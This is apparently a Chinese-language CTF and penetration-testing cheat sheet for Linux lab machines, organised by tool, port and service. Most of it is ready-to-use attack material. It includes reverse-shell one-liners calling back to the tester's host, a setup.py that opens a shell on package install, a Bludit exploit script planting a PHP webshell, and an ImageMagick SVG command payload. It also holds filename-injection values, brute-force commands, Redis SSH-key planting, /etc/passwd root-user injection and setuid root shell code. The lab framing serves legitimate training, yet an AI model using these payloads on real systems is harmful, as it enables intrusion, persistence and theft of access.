文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

【日常记录】CTF审查清单(linux)

2023-09-06 17:35

关注

欢迎大佬补充
恳求大佬补充
感谢大佬补充


检查清单


一、常用工具

常用代理设置

proxychains4 -f /etc/proxychains4.conf

nmap

  1. 探测目标IP
nmap -sP 192.168.247.0/24    或nmap -sn  192.168.247.0/24全自动扫描./nmapAutomator.sh --host 192.168.3.151 --type All一定要用这个扫一下nmap -sT -p- --min-rate 10000 10.129.138.220 udp扫描nmap -vvv -sU -o nmapudp 10.129.138.220 --max-retries 0或者nmap -sU --top-ports 10 -sV 10.129.228.106具体udpnmap -p 161,500 -sV -sU -sC 10.129.138.220
  1. 探测目标服务
nmap -sS -sV -A -T5 [IP]以及nmap [IP] -p-

curl

curl 【域名】curl -v -X PUT -d '' 【写入的文件】curl -v -X OPTIONS 【域名】curl --upload-file 【文件名】 -v --url 【写入的文件名】 -0curl 192.168.247.129 -H "Cookie:lang=../upload/f3c697838a7e6b1c6406bb5b246e553f.gif"上传:curl --output - -b lang=../upload/0e.png 代替wget功能curl -# -O http://192.168.253.138:8082/linpeas.sh

dirb

dirb 【域名】 【字典】dirb 【域名】 【字典】 -x 【类型】

在扫的时候要注意观察url,如果存在特殊的,都具备的特殊字符,要加上一起扫

dirsearch

dirsearch -u http://192.168.247.162 -e php --proxy 【代理】  -t 【线程】

gobuster

gobuster dir -u 【域名】 -t 【线程数】 -w 【字典】 -s 【状态】 -x php,html常用的字典是dirbuster的字典directory-list-2.3-small.txt、directory-list-2.3-medium.txt、directory-list-2.3-big.txt扫httpsgobuster dir -k -u https://10.129.12.161 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt  -t 20

nikto

nikto -h 【IP】 -useproxy 【代理域名】不挂代理就只有前面的

wpscan

正常扫描wpscan --url 【域名】  -e u --api-token 【token】 --disable-tls-checks枚举用户wpscan --url http://wordy/ -eu  爆破wpscan -U useer.txt -P passwords.txt --url http://wordy    ---爆破

wget

  1. 下载https
wget --no-check-certificate 【https域名】

hashcat

1. 检验加密类型hash-identifier2. 解密MD5/加盐的直接在md5后面:[盐值]hashcat -m 2611 --force rong.txt 【字典,通常是rockyou】

Binwalk (通用分析)

通常用在对文件,图片的分析

Binwalk 【文件名】

wfuzz(模糊测试)

  1. 数据库爆破(mdb,db,sql,txt,lst)
2. 利用sqlmap共用字典wfuzz -w /usr/share/sqlmap/data/txt/common-tables.txt --sc 200 http://192.168.247.166:9999/FUZZ.db3. 利用cruch生成的字典加上五个常用后缀进行双爆破wfuzz -t 100 -w rong -w db.txt --sc=200 -c http://192.168.4.203:9999/FUZZ.FUZ2Z
  1. 账号密码爆破
wfuzz -c -z file,./user.txt -z file,./pass.txt -d 'user=FUZZ&pass=FUZ2Z&pin=22222' http://192.168.2.177:8888/login.php
  1. 目录爆破
wfuzz -c --hc=400,404 -z file,rong.txt http://192.168.149.131/exschmenuating/FUZZ.php

crunch(生成字典)

crunch 5 5 1234567890 > pin   --生成5位数字码crunch 1 4 abcdefghijklmnobqrstuvwxyz1234567890 > rong  --猜解文件名

awk 正则匹配

https://www.runoob.com/linux/linux-comm-awk.htmlawk -F'|' '{print $3}' 1122.txt > 2211.txt    

proxytunnel(横向)

proxytunnel -p 10.211.55.38:3128 -d 127.0.0.1:22 -a 5566  kali本地5566端口

frp(横向)

  1. 修改frpc.ini
  2. 赋权执行frps
  3. 上传frpc以及frpc.ini
  4. 赋权执行frpc
./frps -c frps.ini ./frpc -c frpc.inigedit /etc/proxychains4.conf   --本机(或者proxychains.conf )最后一行加上:socks5 192.168.253.138 7777

weevely(后门生成)

weevely generate pass1234 rong.phpweevely http://192.168.247.142/test/rong.php p#ass#rong

finger(查存在用户,mail常用)

finger user@192.168.147.151 git clone https://github.com/Kan1shka9/Finger-User-Enumeration.gitcd Finger-User-Enumeration  然后该下sh文件IP:./finger_enum_user.sh user.txt

sqlmap(跑数据库,OSCP禁用)

爆数据库sqlmap -u "http://192.168.247.143/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --dbs --level=5 --risk=3爆表sqlmap -u "http://192.168.247.143/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --dbs --level=5 --risk=3 -D jabcd0cs --tables爆字段sqlmap -u "http://192.168.247.143/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --dbs --level=5 --risk=3 -D jabcd0cs --tables -T odm_user --columns爆字段内容sqlmap -u "http://192.168.247.143/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --dbs --level=5 --risk=3 -D jabcd0cs --tables -T odm_user --dump1)sqlmap带账号密码爆破sqlmap -d 'mysql://root:H4u%QJ_H99@10.211.55.46:3306/Users' --dump -T users -D Users测试写入权限:sqlmap -d 'mysql://root:H4u%QJ_H99@10.211.55.46:3306/Users' --current-user --is-dba由于当前用户不是DBA,无法通过MySQL ROOT 帐户写入文件!

hydra(爆破神器)

wordlists 查询存在的list

爆破pop3hydra -spop PORT -L USERNAME_LIST -P PASSWORD_LIST -e nsr -t 22 IP pop3或者hydra pop3://192.168.2.141 -L user.txt -P pass.txt爆破ftphydra  【ftp地址】  -L  【字典】  -P  【字典】例如:hydra -l veronica -P rong.txt ftp://192.168.149.131爆破sshhydra -l 【用户名】  -P 【字典】 -t 5 -v -f 【IP】 ssh或者hydra ssh://192.168.2.141 -L user.txt -p "xxx"爆破webhydra -L 1.txt -P 2.txt 172.20.10.8 http-post-form "POST头部信息:post体信息(^USER^^PASS^):错误信息"爆破postgresqlhydra -L /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt -P /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt -s 5432 127.0.0.1 postgres -vvv

john(爆破)

1 1 1rohit$01Dl0NQKtgfeL08fGrggi0
这样的密码可以用john爆破

命令:john --wordlist=/usr/share/wordlists/rockyou.txt rong命令:john --show rong

ltrace(多用于缓冲区)

如果文件打开需要ID或其他

ltrace ./agent     //或许可以看到将你输入的东西与其他的一个东西比较

hardening-check (检查文件安全机制)

hardening-check ./xxx

python反弹

网站上python的不对,做一个更正

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.149.129",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

socat

防火墙中建立反弹shell
socat TCP-LISTEN:6666,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sanesocat FILE:`tty`,raw,echo=0 TCP:192.168.247.166:6666
端口映射
第一种:socat TCP-LISTEN:8009,fork,reuseaddr TCP:10.0.3.3:8009 &socat TCP-LISTEN:xxxx  这里描述的当前掌握shell的主机 fork,reuseaddr TCP:10.0.3.3:8009    这个描述的是目标主机的端口和IP第二种:内网本地端口映射外网socat TCP-LISTEN:8888,fork TCP:127.0.0.1:80 &socat TCP-LISTEN:9999,fork TCP:127.0.0.1:65334 &端口转发:附加一个与号“&”在后台运行 socat 命令127.0.0.1:65334是内网的主机使用这个命令,没有reuseaddr,因为reuseaddr代表开启服务端口,仅仅监听的话不需要加reuseaddr

解密

61:6c类

https://www.rapidtables.com/convert/number/hex-to-ascii.html

eval(function(p,a,c,k,e,d) 类

http://matthewfl.com/unPacker.html

莫斯/tap/rot13/仿射等密码

https://cryptii.com/先选解码,再放数据

1 1 1rohit$01Dl0NQKtgfeL08fGrggi0

john爆破

fackespreadsheet

以下这种格式

ExpensesSoftware Licenses,$2.78Maintenance,$68.87Mortgage Interest,$70.35Advertising,$9.78Phone,$406.80Insurance,$9.04
https://www.spammimic.com/decode.shtml选择:Decode fake spreadsheet

rsa解密

p,q,e三个数值来源于给出的信息

def egcd(a, b):    x,y, u,v = 0,1, 1,0    while a != 0:        q, r = b//a, b%a        m, n = x-u*q, y-v*q        b,a, x,y, u,v = a,r, u,v, m,n        gcd = b    return gcd, x, ydef main():    p =     q =     e =     ct =     # compute n    n = p * q    # Compute phi(n)    phi = (p - 1) * (q - 1)    # Compute modular inverse of e    gcd, a, b = egcd(e, phi)    d = a    print( "n:  " + str(d) );    # Decrypt ciphertext    pt = pow(ct, d, n)    print( "pt: " + str(pt) )if __name__ == "__main__":    main()

会得到一个pt和n
然后进入python命令行

>>> pt =  >>> f"{pt:x}">>> bytes.fromhex(f"{pt:x}").decode()

一次性混淆密码( Vigenere Cipher)

https://www.braingle.com/brainteasers/codes/onetimepad.php上面这个可以原文密文对照得出key,然后到下面网站选择 Vigenere Cipherhttps://cryptii.com/

ROT13

echo [密文] | tr a-z n-za-m

okk!

全是?!的密码

https://www.dcode.fr/langage-ook

将16进制读回ascii

cat index.php | xxd -r -p

遇到大段类似于base64编码

cat 1.txt | base64 -d | xxd    先读回ascii

pk幻数

读回之后开头是pk
https://asecuritysite.com/forensics/magic
对应去找16进制前8位

脑残解码[->++ +++++ +++<] >++++ +.-

https://copy.sh/brainfuck/

二、具体服务类

21:ftp

普通登录格式: 用户名:密码@ftp地址:传送端口(默认21)
字典来源为web获取或者cewl

  1. 默认登陆
    账号为anonymous,密码为空

  2. passive异常
    在百度的基础上加一个bin,可以尝试

epsv4 off以及passive
  1. 如果ftp是web目录
    直接写后门
    用put传文件

22:ssh

普通登陆格式:ssh -i [id_rsa] -p [port] [user]@[ip] "[command]"

  1. cewl爬取密码本
cewl 【域名】 > 1.txt
  1. 已知账号的密码爆破
    hydra爆破

  2. 登陆受限的ssh
    通常-t执行命令,但是需要无密码或者证书登录

  3. ssh毒化

ssh-keygen  ---全部回车cd /root/.ssh cat id_rsa.pub   ---里面的值复制在mnt目录下创建:mkdir .ssh   cd .ssh  进去后写入:echo '【id-rsa】' > authorized_keys
  1. rbash逃逸
    本质上还是借助了ssh命令执行
ssh mindy@192.168.247.167 "export TERM=xterm; python -c 'import pty; pty.spawn(\"/bin/sh\")'"
  1. ssh端口转发
127.0.0.1:5901 是目标主机-L 5901 是自己端口ssh -L 5901:127.0.0.1:5901 charix@10.129.1.254 
  1. 基于ssh的scp文件传输
scp charix@10.10.10.84:secret.zip .

25 :smtp

  1. 后门写入
    如果可以访问到log或者邮件内容文件
    敏感目录:/var/log/mail
nc [ip] [port]  或者:telnet [ip] [port]  1)HELO [user]    ---向服务器标识用户身份2)MAIL FROM:"[user] "   ---MAIL FROM:发件人3)RCPT TO:[reciver]   ---RCPT TO:收件人4)DATA    ---开始编辑邮件内容5.       ---输入点代表编辑结束6)http://192.168.56.102/turing-bolo/bolo.php?bolo=../../../../var/log/mail&cmd=id
  1. 敏感信息枚举
    smtp所造成的信息泄露来获取一定的存在用户
smtp-user-enum -M VRFY -U [字典] -t 192.168.247.151-M    ---用于猜测用户名 EXPN、VRFY 或 RCPT 的方法(默认值:VRFY)-U    ---通过 smtp 服务检查的用户名文件-t    ---host 服务器主机运行 smtp 服务字典是这个,也可以选取类似:/usr/share/metasploit-framework/data/wordlists/unix_users.txt

u/t53 dns

dnsrecon -r 10.10.10.0/24 -n 10.10.10.13添加入host再根据刚才得到的第一个ns1解析,去掉ns1执行下面的命令两种任选一个host -l -a cronos.htb 10.129.227.211 dig axfr cronos.htb @10.129.227.211

79 finger

枚举脚本
pentestmonkey.net/tools/finger-user-enum/finger-user-enum-1.0.tar.gz

枚举用户

./finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t 10.129.16.126

连接用ssh等即可,常常一起出现

80/8080/443:web页面(s或非s)

如果只是静态页面的(已经遇到的是nginx)
注意看nmap扫出来的信息,有没有下面这样的,如果有就要加host并且直接访问域名而非ip

commonName=brainfuck.htb/organizationName=Brainfuck
Ltd./stateOrProvinceName=Attica/countryName=GR | Subject Alternative
Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb

  1. 弱逻辑登陆页面爆破
    hrdra/burpsuit
  2. 弱口令登录
    admin等
  3. 已知cms
searchsploit 【cms版本】或者谷歌
  1. 页面源码信息泄露
  2. 页面源码特殊的js文件,例如app.js
  3. 做本地host
    域名通常根据浏览器的跳转或者提示来判定
gedit /etc/hosts
  1. 目录爆破
    使用工具curl等

110:pop3

  1. hydra爆破
  2. 登陆方式
telnet x.x.x.x 110user xxxxpass xxxx查看邮件目录list retr 1

135rpc

rpcclient -U “” -N [IP]enumdomusers    枚举用户enumprinters   枚举打印机

看能不能有枚举用户

143 imap

evolution客户端链接
编辑添加账号即可

139&445:smb

smb如果能进web页面那就上传后门,然后直接拿shell
目前遇到了samba smbd,可以扫描获取敏感信息,可能会发现匿名登录,进而信息枚举

通常检验过程(存在信息泄漏,或者空绑定,可以枚举出所有用户)smbclient -N -L //[IP]   看看有没有空绑定,如果有的话可以利用enum4linux -v 10.10.10.161   来枚举出包括所有用户信息的数据单独枚举用户:enum4linux -U 192.168.3.142扫描是否存在漏洞nmap -v --script smb-enum-* -p445 192.168.3.141扫描漏洞(第一次使用在了windows)nmap -p 445 --script vuln 10.129.6.213登录smbclient //【ip】/【用户】smbclient \\\\[ip]\\[share name]smbclient //10.129.65.80/new-site -U tyler    这是登陆带组的用户这两种命令都能用来着密码爆破./acccheck.pl -t 192.168.3.142 -u smb -v查看共享目录smbclient -L 10.10.10.161 smbmap -u 'smb' -p '' -H 192.168.3.142查看共享组smbclient -N //10.10.10.134/backups   如果需要改密码smbpasswd -r 10.10.10.193  tlavel   即可

udp161/162 snmp(造成信息泄漏)

先nmap扫(在上面)
而后再找几个信息,例如:

1. 用来识别用的什么字符串(public或其他)onesixtyone 10.10.10.20 -c /usr/share/doc/onesixtyone/dict.txt
161/udp open  snmp    SNMPv1 server (public)‘命令示例;snmpwalk -c public -v 1 10.129.138.220 > snmp-public.txt利用snmp执行高权限进程在下面

telnet

主要打法,依托tcpdump检验能否执行命令,而后直接反弹shell

sudo tcpdump ip proto \\icmp -i tun0  本机开启tcpdump .RUN ping <ip fo your machine> -c 1     靶机检验能否执行命令利用如下方式生成payload msfvenom -p cmd/unix/reverse_netcat lhost= <你机器的ip> lport=4444 R

443 SSL

可能会出现部分敏感目录403的情况
切换成https即可

udp 500 (ISAKMP)

ike-scan 10.129.138.220 -M    --探寻属性/etc/ipsec.conf和 /etc/ipsec.secrets   ---修改配置修改完了连接即可ipsec restart ipsec up conceal 

在这里插入图片描述

/etc/ipsec.secrets
%any : PSK "Dudecake1!"
/etc/ipsec.conf

改参数

config setup    charondebug="all"    uniqueids=yes    strictcrlpolicy=noconn conceal    authby=secret    auto=add    ike=3des-sha1-modp1024!    esp=3des-sha1!    type=transport    keyexchange=ikev1    left=10.10.14.15    right=10.10.10.116    rightsubnet=10.10.10.116[tcp]

udp 623 IPMI (是Bare Metal BMC automation的一个平台)

详细利用在下文,可以获取hash

1521(Oracle)

使用odat工具1. 枚举idodat sidguesser -s 10.129.7.1932. 查看是否可打odat tnspoison -s 10.10.10.82 -d XE --test-modulexe是刚才枚举出的id3. 爆破密码odat passwordguesser -d XE -s 10.129.7.193 -p 1521 --accounts-file  /usr/share/odat/accounts/accounts.txt4. 登陆枚举用native或者sqlplussqlplus scott/tiger@10.10.10.82:1521/XE as sysdba5. webshell/payload--------------------------------------declare    f utl_file.file_type;    s varchar(5000) := '<%@ Page Language="C#" Debug="true" Trace="false" %><%@ Import Namespace="System.Diagnostics" %><%@ Import Namespace="System.IO" %>
Command:
'
;begin f:= utl_file.fopen('/inetpub/wwwroot', 'peng.aspx', 'W'); utl_file.put_line(f,s); utl_file.fclose(f);end;/------------------------------------------6. 然后url直接访问10.10.10.82/peng.aspx即可获取webshell,后续借助nishang(win)就可以反弹shell

3128或其他端口(squidhttp代理)

需要挂代理让流量走这个端口
使用一些工具扫描的时候就需要注意了

nmap能扫出来但是close的端口

在已经获得shell的机器中,可以通过如下来找配置文件,知道端口顺序

find / -name "knockd.conf" 2>/dev/null

可能存在端口敲震

knock 10.211.55.36 7482 8279 9467nmap 10.211.55.36 -p7788     

NFS(对系统位数要求较为严苛)

开启关闭nfs
sudo /usr/local/sbin/nfs statussudo /usr/local/sbin/nfs startps aux | grep nfs
显示挂载目录:showmount -e 192.168.253.229mkdir nfs   ---创建个挂载目录mount -t nfs 【IP】:【目标路径】 【自身路径】  umount /tmp/nfs   ---全部挂载删除创建专门权限用户useradd -u 2008 vulnix这个我用在了windows上mount -t cifs //10.10.10.134/backups /mnt -o user=,password=
不同位系统之间bash传递

需要利用NFS,进行bash的传递,权限的混淆

1)在vulnixssh vulnix@192.168.253.167cp /bin/bash .2)在kali执行cat bash > rong    chmod 4777 rong本地计算机的/bin/bash复制到/tmp/nfs并赋权./bash -p   ---保留原始的shell权限
两种payload
-------------------------------------------#include int main() { setuid(0); setgid(0); system("/bin/sh"); }----------------------------------nano写入shell.c文件gcc shell.c -o shellchmod 4777 shell./shell成功提权!------------------------------------#include int main(){    setuid(0);    setgid(0);    system("/bin/sh");}

4555 JAMES(POP3管理软件)

nc x.x.x.x 4555
账号密码默认是root
可以查看用户,也可以修改用户密码,而后pop3登录邮件枚举

5800/5900 vnc

见vnc提权部分

6667 src

若端口关闭

常由于防火墙限制,需要在拿到低权shell后修改防火墙规则
iptables:

sudo /sbin/iptables -L   --查看规则sudo /sbin/iptables --flush   ---全放行
端口未关闭/打开后
nmap 192.168.253.180 -p6667(可以看到server信息)find / -name 【server】* 2>/dev/null     应该会找到存在信息的目录

目录可能会存在log以及cfg文件,其中可能会有频道信息(channels

  1. irssi -c 192.168.247.164 -p 6667 -n wallabyschat 登陆服务器
  2. /list 查看频道
  3. /j wallabyschat 加入频道
  4. 看到[@waldo] [ wallabysbot]这样的数个用户
  5. /whois waldo 查看用户信息,可能会出现使用的框架信息,在ircname
  6. 这个时候的框架信息应该会与之前的find(server)一致,其中会有modules,里面有配置信息**(这一步也可以暂时忽略)**
  7. /j wallabyschat重新加入频道
  8. .run ls 执行命令,可能会存在用户验证
  9. who或者ps -aux | grep waldo查找对应用户进行的进程号
  10. kill 733 或者其他命令执行方式执行杀死进程命令
  11. /nick waldo给自己改名
  12. .run bash -c 'bash -i >& /dev/tcp/192.168.247.129/9090 0>&1'命令执行

6379 redis

redis-cli -h 10.129.2.1 🔗keys * 展示列表incr 0xdf 测试写入get 0xdf 查看写入

如果可以写入,就好办了

常用方法:写入一个ssh

方法

config get dir //使用dir命令,看一下目前在哪config set dir ./.ssh //设置目录是~./sshssh-keygen //本机生成一个ssh密钥(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > spaced_key.txt  //把公钥写到这个文件中cat spaced_key.txt | redis-cli -h 10.129.2.1 -x set rong //设置进去redis保存config set dbfilename "authorized_keys" //配置好save //保存

6697/8067 irc

枚举利用:
hexchat打开,添加irked
编辑:【IP:port】以及立即打开频道

执行命令利用:
使用nc

27017(mongodb)

三、CMS/搭建框架类

wordpress

  1. wpscan枚举用户
  2. 密码本爆破
  3. 主要关注插件,主题
  4. 搭配谷歌
  5. 弱口令
  6. 1.0等版本具有本地lfi…/…/…/…/etc/passwd
  7. wp-support-plus-responsive-ticket-system(注意这个模块是否存在)searchsploit wordpress Plugin wp support
http://x.x.x.x/xxx/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd

drupal

  1. nmap可能会扫得
    CHANGELOG.TXT 查看版本信息,或许可以利用exp远程命令执行

joomla

joomscan -u http://192.168.247.131/

apache

站库分离,不解析aspx,asp(这两个是IIS的),所以在扫不到东西的时候可以扫php后缀
站在外网暴露
库在内网
apache+php+mysql最常见

gila cms

nginx

如果只是静态页面的(已经遇到的是nginx)
注意看nmap扫出来的信息,有没有下面这样的,如果有就要加host并且直接访问域名而非ip

commonName=brainfuck.htb/organizationName=Brainfuck
Ltd./stateOrProvinceName=Attica/countryName=GR | Subject Alternative
Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb

phpliteadmin(看版本)

hydra 10.129.12.161 -l 0xdf -P /usr/share/seclists/Passwords/twitter-banned.txt https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password"

而后可以新建数据库.php后缀数据库,协同lfi反弹shell或者一句话

magento购物网站

https://github.com/joren485/Magento-Shoplift-SQLI/blob/master/poc.py

利用该脚本可以在1.x版本直接修改后台/admin账号密码

python poc.py [ip]而后在已经登陆的情况下按照37811操作

phpmyadmin(4.8.0)

sql 页面

SELECT "" into outfile "/var/www/html/sh3ll.php"而后http://10.129.227.147/shell.php?c=id

pi-hole

弱口令,可以登陆ssh

piraspberry

phpinfo信息检索

的php信息
uploads能否上传

PlaySMS

https://www.exploit-db.com/exploits/42044

webmin <=1.910

 CVE-2019-12840:https://www.exploit-db.com/exploits/46984

Webmin 1.910 及更低版本中的任意命令执行漏洞
直接提权

1. 生成payloadmsfvenom -p cmd/unix/reverse_perl LHOST=<LHOST> LPORT=4422 -f raw > rshell.pl2. 先payload b64编码,再整段URL编码(如果在浏览器中)bash -c "{echo,【base64之后的payload】}|{base64,-d}|{bash,-i}"3. 抓包改包1. 增加两个头Referer: https://10.129.2.1:10000/package-updates/?xnavigation=1Content-Type: application/x-www-form-urlencoded2. 改成post3. 放入payload4. 本地接shell

nostromo

http://www.nazgul.ch/dev/nostromo_man.html
官网文档
实例:

homedirs                /homehomedirs_public         public_www所以应该访问http://10.10.10.165/~david/,他是home页面并且他在/home/david/public_www目录中

bludit3.9.2

这个脚本可以成功实现带凭据的rce

#!/usr/bin/env python3import netifaces as niimport reimport requestscallback_ip = ni.ifaddresses('tun0')[ni.AF_INET][0]['addr']username = 'fergus'password = 'RolandDeschain'url = 'http://10.10.10.191's = requests.session()# Loginresp = s.get(f'{url}/admin/')csrf = re.findall('name="tokenCSRF" value="([0-9a-f]{32,})"', resp.text)[0]s.post(f'{url}/admin/', allow_redirects=False,        data = {'tokenCSRF': csrf, 'username': username, 'password': password, 'remember': 'true', 'save': ''})# Get CSRF to upload imagesresp = s.get(f'{url}/admin/new-content/index.php')csrf = re.findall('\nvar tokenCSRF = "([0-9a-f]{32,})";', resp.text)[0]# Upload webshellform_data = {'images[]': ('0xdf.php', '<?php system($_REQUEST["cmd"]); ?>', 'image/png')}data = {'uuid': 'junk',        'tokenCSRF': csrf}s.post(f'{url}/admin/ajax/upload-images', data=data, files=form_data, proxies={'http':'http://127.0.0.1:8080'}, allow_redirects=False)# Upload .htaccess fileform_data = {'images[]': ('.htaccess', 'RewriteEngine off', 'image/png')}s.post(f'{url}/admin/ajax/upload-images', data=data, files=form_data, proxies={'http':'http://127.0.0.1:8080'}, allow_redirects=False)# Trigger Shellresp = s.get(f'{url}/bl-content/tmp/0xdf.php', params={'cmd':f'bash -c "bash -i >& /dev/tcp/{callback_ip}/443 0>&1"'})

tomcat

/opt/tomcat/conf/tomcat-users.xml
存在凭据

本季已经安装tomcat,直接搜索
find / -name tomcat-users.xml

两个默认页面
/host-manager/html
以及
/manager

管理器攻击(/host-manager/html)
msfvenom -p java/shell_reverse_tcp lhost=10.10.14.29 lport=8888 -f war -o shell.warcurl -u 'tomcat:$3cureP4s5w0rd123!' http://10.129.18.17:8080/manager/text/deploy?path=/rong --upload-file shell.war  curl http://10.129.18.17:8080/rong  

splunk

有凭据直接反弹root

git clone https://github.com/cnotin/SplunkWhisperer2.gitpython3 PySplunkWhisperer2_remote.py --host 10.129.2.21 --lhost 10.10.14.29 --username shaun --password Guitar123 --payload "bash -c 'bash -i >& /dev/tcp/10.10.14.29/9999 0>&1'"

pypi server

1. 先查看 .pypirc文件关注:index-servers2. 本地创建包mkdir revshell;cd revshell;touch README.md;mkdir revshell;cd revshell;touch __init__.py;cd ..;touch setup.cfg;touch setup.py;cd ..3. 打包成distpython setup.py sdist4. 靶机安装python setup.py sdist upload -r sneakysneaky是index-servers数值setup.py 脚本内容如下================================================================================================import osimport socketimport subprocessfrom setuptools import setupfrom setuptools.command.install import installclass Exploit(install):    def run(self):        RHOST = '10.10.14.29'        RPORT = 9999        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)        s.connect((RHOST, RPORT))        for i in range(3):            os.dup2(s.fileno(), i)        p = subprocess.call(["/bin/sh","-i"])setup(name='revshell',      version='0.0.1',      description='Reverse Shell',      author='0xdf',      author_email='0xdf',      url='http://sneakycopy.htb',      license='MIT',      zip_safe=False,      cmdclass={'install': Exploit})

com.ubuntu.USBCreator.conf

要求具有sudo组以及同等效力组
将一个已知文件的内容,投射到一个不存在的文件
而后我们查看,发现这个文件会被创建
读取:

gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/root.txt /dev/shm/dashabi true

写入密码

cp /etc/passwd passwdopenssl passwd -1 rongecho 'rong:$1$7P/yeC8J$z2eywF.JUPm21Dx0IqVEp.:0:0:pwned:/root:/bin/bash' >> passwd gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /dev/shm/passwd /etc/passwd truesu rong

Medusa httpd

Medusa是Supervisor的托管服务器
默认密码user/123
默认配置文件
supervisord.conf

Mattermost

配置文件在
/opt/mattermost/config/config.json

Laravel v8 (PHP v7.4.18)

1. 下载phpggchttps://github.com/ambionics/phpggc下面的代码示例是下载到了/opt2. 下载py脚本https://github.com/ambionics/laravel-exploits3. 生成php反序列化char文件php -d'phar.readonly=0' /opt/phpggc/phpggc --phar phar -o id.phar --fast-destruct monolog/rce1 system id最后的id是命令,可以修改4. 利用脚本python3 exp.py http://127.0.0.1:8000 /opt/phpggc/id.phar  

IPMI (Bare Metal BMC automation的一个平台)

开放在udp623

1. 首先获取版本use  auxiliary/scanner/ipmi/ipmi_versionset rhosts 10.129.19.82run2. 提取hashuse auxiliary/scanner/ipmi/ipmi_dumphashesset rhosts 10.129.19.82run

zabbix

配置文件在/etc/zabbix
可以执行命令

configuration->hosts->items而后再点击select可以发现命令种类system.run[id]可以执行命令

(mogrify)ImageMagick以及一些套件(7.0.10-36)

写一个poc.svg到他处理图片的目录,base64是反弹shell

<image authenticate='ff" `echo "YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNi80NDQgMD4mMSAK" | base64 -d | bash`;"'>  <read filename="pdf:/etc/passwd"/>  <get width="base-width" height="base-height" />  <resize geometry="400x400" />  <write filename="test.png" />  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">  <image xlink:href="msl:mog-shell.svg" height="100" width="100"/>  </svg></image>

npm

关于npm包挟持的内容再提权页面

搜索日志npm search log --registry http://127.0.0.1:4873把db-logger拉到本地npm install db-logger --registry http://127.0.0.1:4873

jamovi

在r处可以执行命令

# summary(data[1:3])system ("bash -c 'bash -i  >& /dev/tcp/10.10.14.29/8888 0>&1'" , intern = TRUE

Bolt

特征文件是ovm,并且注意已知密码和admin搭配
尝试修改页面存在的php文件
添加如下,可以尝试

<?phpsystem("bash -c 'bash -i  >& /dev/tcp/10.10.14.29/7777 0>&1'")?>

以及注意yml的信息枚举

四、突破点(非提权)

添加到临时环境变量

export PATH=/tmp:$PATH

node.js反弹shell

https://www.revshells.com/第二行添加如下const require = console.log.constructor('return process.mainModule.require')();

静态nmap

https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap

打开json文件

文件名是xdata.json

cat xdata.json | jq -c '.[]'

文件名命令注入(常见于mv操作)

上传文件时候不安全的调用的mv移动文件

echo -n 'bash -c "bash -i >& /dev/tcp/10.10.14.29/8888 0>&1"' | base64touch 'd.jpg;`echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yOS84ODg4IDA+JjEi|base64 -d|bash`;'

而后在post包中添加post体来访问

file:///var/www/writer.htb/writer/static/img/d.jpg;`echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yOS84ODg4IDA+JjEi|base64 -d|bash`;#

破解非常规hash(例如非常长)

/usr/bin/hashcat-6.2.6/hashcat.bin ipmi.hash /usr/share/wordlists/rockyou.txt --user

chisel搭建隧道

对目标主机的8000端口隧道

./chisel server -p 6666 --reverse./chisel client 10.10.14.29:6666 R:9999:127.0.0.1:8000

搜索危险函数

grep -R -e system -e exec -e passthru -e '`' -e popen -e proc_open *

存在ear重定向后执行

修改响应包,改成200

tomcat的管理页面被代理走

利用tomcat与nginx互相混淆
在这里插入图片描述
例如:

https://seal.htb/manager;name=rong/html就可以访问到被代理的tomcat

运行snmp中枚举的进程(在低权进程不存在)

snmpwalk -v 1 -c public 10.129.228.106 iso.3.6.1.4.1.8072.1.3.2

iso.3.6.1.4.1.8072.1.3.2
来自于snmp枚举到的就选这么多位即可

当ls -la后面有一个+

getfacl /usr/local/monitoring

查看真实权限

wasm

proxychains4 -f /etc/proxychains4.conf git clone --recursive https://github.com/WebAssembly/wabtcd wabt/apt install cmakemakewasm-decompile main.wasm 到这里就生成好了wasm2wat main.wasm -o main.wat而后修改wat文件,返回值是const后的参数wat2wasm main.wat -o main.wasm

java-yaml反序列化

